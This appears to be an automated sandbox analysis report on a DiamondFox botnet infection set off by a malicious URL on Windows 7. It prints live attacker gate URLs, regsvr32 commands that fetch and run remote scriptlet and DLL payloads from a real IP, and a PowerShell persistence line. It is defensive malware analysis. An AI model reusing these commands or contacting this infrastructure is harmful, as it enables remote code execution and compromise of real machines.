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Analysis
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max time kernel
142s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
11/11/2020, 15:07
Static task
static1
URLScan task
urlscan1
Sample
http://148.163.12.101/WMndFrdk?keyword=Other&cost=0.00040&ad_campaign_id=262704&source=145866
Behavioral task
behavioral1
Sample
http://148.163.12.101/WMndFrdk?keyword=Other&cost=0.00040&ad_campaign_id=262704&source=145866
Resource
win7v20201028
General
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Target
http://148.163.12.101/WMndFrdk?keyword=Other&cost=0.00040&ad_campaign_id=262704&source=145866
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Sample
201111-nw5jsw7ban
Malware Config
Extracted
diamondfox
https://www.datanalysis.club/ms/gate.php
https://www.datanalysis.site/ms/gate.php
https://www.datanalysis.space/ms/gate.php
cBFxpht5aCf0jy4gnUs3JgtqCB2O2tWJ
Signatures
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DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
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DiamondFox payload 6 IoCs
Detects DiamondFox payload in file/memory.
resource yara_rule behavioral1/files/0x000300000001318c-20.dat diamondfox behavioral1/files/0x000300000001318c-22.dat diamondfox behavioral1/files/0x000300000001318c-23.dat diamondfox behavioral1/files/0x000300000001318c-24.dat diamondfox behavioral1/files/0x000300000001318c-25.dat diamondfox behavioral1/files/0x000300000001318c-26.dat diamondfox -
Blacklisted process makes network request 1 IoCs
flow pid Process 15 1504 rundll32.exe -
Executes dropped EXE 1 IoCs
pid Process 1304 setup.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Loads dropped DLL 9 IoCs
pid Process 296 regsvr32.exe 1504 rundll32.exe 1504 rundll32.exe 1504 rundll32.exe 1504 rundll32.exe 1628 dllhost.exe 1304 setup.exe 1304 setup.exe 1304 setup.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 dllhost.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{21197C01-2430-11EB-95E5-6E84FEE6C902} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30af44f03cb8d601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage\213.159.203.207\NumberOfSubdomains = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage\213.159.203.207 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a600000000002000000000010660000000100002000000026b1a463cc4bdf8691f7701764a745816396c450b21a51436c7ce6ee5a63a530000000000e8000000002000020000000f3ab42104ed4a177ce05d94eed8a41d11c8e7e7ac369f59e5272dc7423833e2a200000009be94dd8a85f581d45082ad65597e56a0f74041ec75db1f739a5ad9d8221cc6040000000a374d9f4f49f67479e6ebd16acf618abd0a2f3524eb28363eac3682ca11c7332b55fe98f806950692ffbfc6184b14310ad10352a8f20dfbe107d3315041d063a iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "311872445" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a60000000000200000000001066000000010000200000008c62236307e11e50843995c0b19378a170a025f4bb911ba899f1b275180b88ee000000000e8000000002000020000000e9bf1e406a01d0a34c13d440c423b0f866e5caccfee43733c9791a5da21a3db19000000026ee0a5bba7fb3edfa6fe2ede6968480990af50560a51cc2b38b87db42ae14f631c64e3e14a1ac38d12bb49d1add09ad43df952596d889837fd885f9aa61e82f8f9e83b942c11857539605da6b7acdbaf7f773c2d4a30970f6b4c4986c15f5b788153d398771972074d1ca136b8b5e84d0a45d02831ea617d40ee161f8414dfb310a3719a5b19cc200d119ad46bbb3714000000003de3846ce895e63c4cfd0138ab29584a24ef816e7c6ce0bece6bada2c11f6fae8b800b974abbc50ce748a234cbcf2a7673be647d6b53aef586292cf0868bcaa iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe -
Modifies registry class 20 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID\ = "OCRExam" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\ = "OCRExam" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\CLSID regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ScriptletURL regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ScriptletURL\ = "http://213.159.203.207/views/2k3q71jgf50687rn608khb81nk.sct" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\CLSID\ = "{20001111-0000-0000-0000-0000FEEDACDC}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\ = "OCRExam" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ProgID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ProgID\ = "OCRExam.1.00" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32\ = "C:\\Windows\\SysWOW64\\scrobj.dll" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32\ThreadingModel = "Apartment" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00 regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\CLSID\ = "{20001111-0000-0000-0000-0000FEEDACDC}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ = "OCRExam" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1628 dllhost.exe 1628 dllhost.exe 840 powershell.exe 840 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1504 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 840 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1960 iexplore.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1960 iexplore.exe 1960 iexplore.exe 1788 IEXPLORE.EXE 1788 IEXPLORE.EXE 1788 IEXPLORE.EXE 1788 IEXPLORE.EXE 1304 setup.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 1960 wrote to memory of 1788 1960 iexplore.exe 27 PID 1960 wrote to memory of 1788 1960 iexplore.exe 27 PID 1960 wrote to memory of 1788 1960 iexplore.exe 27 PID 1960 wrote to memory of 1788 1960 iexplore.exe 27 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1788 wrote to memory of 1452 1788 IEXPLORE.EXE 32 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 1452 wrote to memory of 296 1452 regsvr32.exe 33 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 296 wrote to memory of 1504 296 regsvr32.exe 34 PID 1504 wrote to memory of 1628 1504 rundll32.exe 35 PID 1504 wrote to memory of 1628 1504 rundll32.exe 35 PID 1504 wrote to memory of 1628 1504 rundll32.exe 35 PID 1504 wrote to memory of 1628 1504 rundll32.exe 35 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1628 wrote to memory of 1304 1628 dllhost.exe 37 PID 1304 wrote to memory of 840 1304 setup.exe 38 PID 1304 wrote to memory of 840 1304 setup.exe 38 PID 1304 wrote to memory of 840 1304 setup.exe 38 PID 1304 wrote to memory of 840 1304 setup.exe 38 PID 1304 wrote to memory of 840 1304 setup.exe 38 PID 1304 wrote to memory of 840 1304 setup.exe 38 PID 1304 wrote to memory of 840 1304 setup.exe 38
Processes
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://148.163.12.101/WMndFrdk?keyword=Other&cost=0.00040&ad_campaign_id=262704&source=1458661⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1960 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s /i:"http://213.159.203.207/views/2k3q71jgf50687rn608khb81nk.sct" scrobj.dll3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s /n /i:"http://213.159.203.207/views/mg45vvc58qjg9rr9lsk7om3abk.wav" "C:\Users\Admin\AppData\Local\Temp\nsu175B7D93690.tmp.dll"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\nsu175B7D93690.tmp.dll",CPAILoad KDYFKTCFSL5⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\system32\dllhost.exe"6⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Users\Admin\AppData\Roaming\setup.exe"C:\Users\Admin\AppData\Roaming\setup.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\setup.exe' -Destination 'C:\Users\Admin\AppData\Local\tiedaxx\atiedxx.exe';Start-Sleep -s 60;Start-Process 'C:\Users\Admin\AppData\Local\tiedaxx\atiedxx.exe'8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:840
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